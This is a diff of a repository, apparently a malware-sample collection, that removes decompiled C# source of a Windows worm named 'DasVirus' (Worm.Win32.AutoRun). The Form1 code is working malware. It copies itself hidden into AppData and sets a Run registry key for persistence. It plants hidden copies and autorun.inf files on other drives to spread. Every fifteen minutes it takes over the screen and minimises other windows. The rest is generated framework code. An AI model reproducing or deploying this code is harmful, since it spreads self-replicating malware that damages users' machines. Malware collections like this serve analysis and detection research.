this.FormClosing += new FormClosingEventHandler(this.Form1_FormClosing);
this.KeyDown += new KeyEventHandler(this.Form1_KeyDown);
this.Load += new EventHandler(this.Form1_Load);
lock (Form1.__ENCList)
Form1.__ENCList.Add(new WeakReference((object) this));
this.InitializeComponent();
}
[STAThread]
public static void Main() => Application.Run((Form) MyProject.Forms.Form1);
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.components == null)
return;
this.components.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
this.Timer1 = new Timer(this.components);
this.Timer2 = new Timer(this.components);
this.Timer3 = new Timer(this.components);
this.Timer4 = new Timer(this.components);
this.SuspendLayout();
this.Timer1.Interval = 50;
this.Timer2.Interval = 2000;
this.Timer3.Interval = 1000;
this.Timer4.Interval = 15000;
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(292, 273);
this.ControlBox = false;
this.DoubleBuffered = true;
this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
this.Name = nameof (Form1);
this.Opacity = 0.0;
this.ShowInTaskbar = false;
this.Text = "DasVirus";
this.TopMost = true;
this.TransparencyKey = SystemColors.Control;
this.ResumeLayout(false);
}
internal virtual Timer Timer1
{
[DebuggerNonUserCode] get => this._Timer1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
if (this._Timer1 != null)
this._Timer1.Tick -= eventHandler;
this._Timer1 = value;
if (this._Timer1 == null)
return;
this._Timer1.Tick += eventHandler;
}
}
internal virtual Timer Timer2
{
[DebuggerNonUserCode] get => this._Timer2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer2_Tick);
if (this._Timer2 != null)
this._Timer2.Tick -= eventHandler;
this._Timer2 = value;
if (this._Timer2 == null)
return;
this._Timer2.Tick += eventHandler;
}
}
internal virtual Timer Timer3
{
[DebuggerNonUserCode] get => this._Timer3;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer3_Tick);
if (this._Timer3 != null)
this._Timer3.Tick -= eventHandler;
this._Timer3 = value;
if (this._Timer3 == null)
return;
this._Timer3.Tick += eventHandler;
}
}
internal virtual Timer Timer4
{
[DebuggerNonUserCode] get => this._Timer4;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer4_Tick);
if (this._Timer4 != null)
this._Timer4.Tick -= eventHandler;
this._Timer4 = value;
if (this._Timer4 == null)
return;
this._Timer4.Tick += eventHandler;
}
}
[DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern bool ShowWindow(IntPtr hWnd, Form1.nCS_Commands nCmdShow);
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
if (!this.OpStatus)
return;
e.Cancel = true;
}
private void Form1_KeyDown(object sender, KeyEventArgs e)
{
e.SuppressKeyPress = true;
if ((e.Modifiers & Keys.Control) == 0 || e.KeyCode != Keys.C)
return;
this.OpStatus = false;
ProjectData.EndApp();
}
private void Form1_Load(object sender, EventArgs e)
{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
if (Operators.CompareString(MyProject.Application.Info.DirectoryPath.ToLower(), folderPath.ToLower(), false) != 0)
{
Process.Start("explorer.exe", MyProject.Application.Info.DirectoryPath);
if (Process.GetProcessesByName("dasvirus").Length > 1)
ProjectData.EndApp();
this.CopyMeHidden(folderPath + "\\DasVirus.exe");
MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("DasVirus Startup", (object) (folderPath + "\\DasVirus.exe"));
Process.Start(folderPath + "\\DasVirus.exe");
ProjectData.EndApp();
}
VBMath.Randomize();
this.Timer3.Start();
this.Timer4.Start();
}
public Point GenPoint()
{
Point point;
point.X = checked ((int) Math.Round((double) unchecked (VBMath.Rnd() * (float) this.Scr.Width)));
point.Y = checked ((int) Math.Round((double) unchecked (VBMath.Rnd() * (float) this.Scr.Height)));
return point;
}
private void Timer3_Tick(object sender, EventArgs e)
{
if (!(MyProject.Computer.Clock.LocalTime.Second == 0 & MyProject.Computer.Clock.LocalTime.Minute % 15 == 0))
return;
this.InitZlovred();
}
public void InitZlovred()
{
this.Opacity = 1.0;
this.Scr = Screen.PrimaryScreen.Bounds;
this.SetBounds(-3, -13, checked (this.Scr.Width + 6), checked (this.Scr.Height + 25));
this.Region = new Region(new Rectangle(3, 18, this.Scr.Width, this.Scr.Height));
this.lPoint = this.GenPoint();
this.Graph = this.CreateGraphics();
this.OpStatus = false;
this.PID = Process.GetCurrentProcess().Id;
this.MyPen = Pens.Black;
this.Timer1.Start();
this.Timer2.Start();
}
private void Timer1_Tick(object sender, EventArgs e)
{
checked { ++this.\u0024STATIC\u0024Timer1_Tick\u002420211C1261\u0024Ticks; }
if (this.\u0024STATIC\u0024Timer1_Tick\u002420211C1261\u0024Ticks > 100)
{
this.\u0024STATIC\u0024Timer1_Tick\u002420211C1261\u0024Ticks = 0;
this.MyPen = new Pen(Color.FromArgb(checked ((int) Math.Round((double) unchecked (VBMath.Rnd() * (float) byte.MaxValue))), checked ((int) Math.Round((double) unchecked (VBMath.Rnd() * (float) byte.MaxValue))), checked ((int) Math.Round((double) unchecked (VBMath.Rnd() * (float) byte.MaxValue)))));
}
this.nPoint = this.GenPoint();
this.Graph.DrawLine(this.MyPen, this.lPoint, this.nPoint);
this.Graph.DrawString("DasVirus 1.0 beta 1 by HD", new Font("Verdana", 20f, FontStyle.Regular), Brushes.YellowGreen, 20f, 20f);
this.lPoint = this.nPoint;
Interaction.AppActivate(this.PID);
}
private void Timer2_Tick(object sender, EventArgs e)
{
Process[] processes = Process.GetProcesses();
int num = checked (processes.Length - 1);
int index = 0;
while (index <= num)
{
if (processes[index].MainWindowHandle != this.Handle && Operators.CompareString(processes[index].ProcessName.ToLower(), "explorer", false) != 0 && Form1.IsWindowVisible(processes[index].MainWindowHandle))
Form1.ShowWindow(processes[index].MainWindowHandle, Form1.nCS_Commands.SW_MINIMIZE);
checked { ++index; }
}
}
private void Timer4_Tick(object sender, EventArgs e)
{
DriveInfo[] drives = DriveInfo.GetDrives();
int num = checked (drives.Length - 1);
int index = 0;
while (index <= num)
{
if (Strings.Asc(Strings.Left(drives[index].Name, 1)) > 66)
{
this.CopyMeHidden(drives[index].Name + "DasVirus.exe");
try
{
File.SetAttributes(drives[index].Name + "AutoRun.inf", FileAttributes.Normal);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
try
{
StreamWriter streamWriter = new StreamWriter(drives[index].Name + "AutoRun.inf", false);
streamWriter.Write("[AutoRun]\r\nShellExecute=DasVirus.exe");
streamWriter.Flush();
streamWriter.Close();
streamWriter.Dispose();
try
{
File.SetAttributes(drives[index].Name + "autorun.inf", FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
checked { ++index; }
}
}
public void CopyMeHidden(string DestPath)
{
try
{
File.SetAttributes(DestPath, FileAttributes.Normal);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
try
{
File.Copy(MyProject.Application.Info.DirectoryPath + "\\DasVirus.exe", DestPath, true);
try
{
File.SetAttributes(DestPath, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
public enum nCS_Commands
{
SW_HIDE = 0,
SW_NORMAL = 1,
SW_SHOWNORMAL = 1,
SW_SHOWMINIMIZED = 2,
SW_MAXIMIZE = 3,
SW_SHOWMAXIMIZED = 3,
SW_SHOWNOACTIVATE = 4,
SW_SHOW = 5,
SW_MINIMIZE = 6,
SW_SHOWMINNOACTIVE = 7,
SW_SHOWNA = 8,
SW_RESTORE = 9,
SW_MAX = 10, // 0x0000000A
SW_SHOWDEFAULT = 10, // 0x0000000A
}
}
}

120
MSIL/Worm/Win32/A/Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7/Form1.resx
View File

@ -1,120 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

177
MSIL/Worm/Win32/A/Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7/My/InternalXmlHelper.cs
View File

@ -1,177 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: DasVirus.My.InternalXmlHelper
// Assembly: DasVirus, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 47CE34B1-9892-4F0C-B487-F6525F961DF9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7.exe
using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Xml.Linq;
namespace DasVirus.My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[CompilerGenerated]
[DebuggerNonUserCode]
internal sealed class InternalXmlHelper
{
[EditorBrowsable(EditorBrowsableState.Never)]
private InternalXmlHelper()
{
}
public static string get_Value(IEnumerable<XElement> source)
{
IEnumerator<XElement> enumerator;
try
{
enumerator = source.GetEnumerator();
if (enumerator.MoveNext())
return enumerator.Current.Value;
}
finally
{
enumerator?.Dispose();
}
return (string) null;
}
public static void set_Value(IEnumerable<XElement> source, string value)
{
IEnumerator<XElement> enumerator;
try
{
enumerator = source.GetEnumerator();
if (!enumerator.MoveNext())
return;
enumerator.Current.Value = value;
}
finally
{
enumerator?.Dispose();
}
}
public static string get_AttributeValue(IEnumerable<XElement> source, XName name)
{
IEnumerator<XElement> enumerator;
try
{
enumerator = source.GetEnumerator();
if (enumerator.MoveNext())
return (string) enumerator.Current.Attribute(name);
}
finally
{
enumerator?.Dispose();
}
return (string) null;
}
public static void set_AttributeValue(IEnumerable<XElement> source, XName name, string value)
{
IEnumerator<XElement> enumerator;
try
{
enumerator = source.GetEnumerator();
if (!enumerator.MoveNext())
return;
enumerator.Current.SetAttributeValue(name, (object) value);
}
finally
{
enumerator?.Dispose();
}
}
public static string get_AttributeValue(XElement source, XName name) => (string) source.Attribute(name);
public static void set_AttributeValue(XElement source, XName name, string value) => source.SetAttributeValue(name, (object) value);
[EditorBrowsable(EditorBrowsableState.Never)]
public static XAttribute CreateAttribute(XName name, object value) => value == null ? (XAttribute) null : new XAttribute(name, RuntimeHelpers.GetObjectValue(value));
[EditorBrowsable(EditorBrowsableState.Never)]
public static XAttribute CreateNamespaceAttribute(XName name, XNamespace ns)
{
XAttribute namespaceAttribute = new XAttribute(name, (object) ns.NamespaceName);
namespaceAttribute.AddAnnotation((object) ns);
return namespaceAttribute;
}
[EditorBrowsable(EditorBrowsableState.Never)]
public static object RemoveNamespaceAttributes(XNamespace[] ns, object obj)
{
if (ns != null && obj != null)
{
switch (obj)
{
case XElement e:
// ISSUE: reference to a compiler-generated method
return (object) InternalXmlHelper.RemoveNamespaceAttributes(ns, e);
case IEnumerable enumerable:
// ISSUE: reference to a compiler-generated method
return (object) InternalXmlHelper.RemoveNamespaceAttributes(ns, enumerable);
}
}
return obj;
}
[EditorBrowsable(EditorBrowsableState.Never)]
public static IEnumerable RemoveNamespaceAttributes(XNamespace[] ns, IEnumerable obj)
{
if (ns == null || obj == null)
return obj;
// ISSUE: object of a compiler-generated type is created
// ISSUE: reference to a compiler-generated method
// ISSUE: object of a compiler-generated type is created
// ISSUE: reference to a compiler-generated method
return obj is IEnumerable<XElement> source ? (IEnumerable) source.Select<XElement, XElement>(new Func<XElement, XElement>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(ns).ProcessXElement)) : (IEnumerable) obj.Cast<object>().Select<object, object>(new Func<object, object>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(ns).ProcessObject));
}
[EditorBrowsable(EditorBrowsableState.Never)]
public static XElement RemoveNamespaceAttributes(XNamespace[] ns, XElement e)
{
XAttribute nextAttribute;
if (ns != null && e != null)
{
for (XAttribute xattribute = e.FirstAttribute; xattribute != null; xattribute = nextAttribute)
{
nextAttribute = xattribute.NextAttribute;
if (xattribute.IsNamespaceDeclaration)
{
XNamespace xnamespace = xattribute.Annotation<XNamespace>();
if ((object) xnamespace != null)
{
int num = checked (ns.Length - 1);
int index = 0;
while (index <= num)
{
if (xnamespace == ns[index])
{
xattribute.Remove();
break;
}
checked { ++index; }
}
}
}
}
}
return e;
}
[EditorBrowsable(EditorBrowsableState.Never)]
public static XNamespace GetNamespace(ref XNamespace xns, string ns)
{
if ((object) xns == null)
xns = XNamespace.Get(ns);
return xns;
}
}
}

23
MSIL/Worm/Win32/A/Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7/My/MyApplication.cs
View File

@ -1,23 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: DasVirus.My.MyApplication
// Assembly: DasVirus, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 47CE34B1-9892-4F0C-B487-F6525F961DF9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace DasVirus.My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyApplication : ConsoleApplicationBase
{
[DebuggerNonUserCode]
public MyApplication()
{
}
}
}

24
MSIL/Worm/Win32/A/Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7/My/MyComputer.cs
View File

@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: DasVirus.My.MyComputer
// Assembly: DasVirus, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 47CE34B1-9892-4F0C-B487-F6525F961DF9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace DasVirus.My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyComputer : Computer
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyComputer()
{
}
}
}

212
MSIL/Worm/Win32/A/Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7/My/MyProject.cs
View File

@ -1,212 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: DasVirus.My.MyProject
// Assembly: DasVirus, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 47CE34B1-9892-4F0C-B487-F6525F961DF9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace DasVirus.My
{
[StandardModule]
[HideModuleName]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[DebuggerNonUserCode]
static MyProject()
{
}
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.Forms")]
internal static MyProject.MyForms Forms
{
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyForms
{
public Form1 m_Form1;
[ThreadStatic]
private static Hashtable m_FormBeingCreated;
public Form1 Form1
{
[DebuggerNonUserCode] get
{
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
return this.m_Form1;
}
[DebuggerNonUserCode] set
{
if (value == this.m_Form1)
return;
if (value != null)
throw new ArgumentException("Property can only be set to Nothing");
this.Dispose__Instance__<Form1>(ref this.m_Form1);
}
}
[DebuggerHidden]
private static T Create__Instance__<T>(T Instance) where T : Form, new()
{
if ((object) Instance != null && !Instance.IsDisposed)
return Instance;
if (MyProject.MyForms.m_FormBeingCreated != null)
{
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
}
else
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
try
{
return new T();
}
catch (TargetInvocationException ex) when (
{
// ISSUE: unable to correctly present filter
ProjectData.SetProjectError((Exception) ex);
if (ex.InnerException != null)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
}
finally
{
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
}
}
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) where T : Form
{
instance.Dispose();
instance = default (T);
}
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyForms()
{
}
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
internal new System.Type GetType() => typeof (MyProject.MyForms);
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override int GetHashCode() => base.GetHashCode();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[ComVisible(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public ThreadSafeObjectProvider()
{
}
}
}
}

36
MSIL/Worm/Win32/A/Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7/My/MySettings.cs
View File

@ -1,36 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: DasVirus.My.MySettings
// Assembly: DasVirus, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 47CE34B1-9892-4F0C-B487-F6525F961DF9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7.exe
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace DasVirus.My
{
[CompilerGenerated]
[EditorBrowsable(EditorBrowsableState.Advanced)]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
internal sealed class MySettings : ApplicationSettingsBase
{
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
[DebuggerNonUserCode]
public MySettings()
{
}
public static MySettings Default
{
get
{
MySettings defaultInstance = MySettings.defaultInstance;
return defaultInstance;
}
}
}
}

31
MSIL/Worm/Win32/A/Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7/My/MySettingsProperty.cs
View File

@ -1,31 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: DasVirus.My.MySettingsProperty
// Assembly: DasVirus, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 47CE34B1-9892-4F0C-B487-F6525F961DF9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace DasVirus.My
{
[StandardModule]
[DebuggerNonUserCode]
[HideModuleName]
[CompilerGenerated]
internal sealed class MySettingsProperty
{
[HelpKeyword("My.Settings")]
internal static MySettings Settings
{
get
{
MySettings settings = MySettings.Default;
return settings;
}
}
}
}

Some files were not shown because too many files have changed in this diff Show More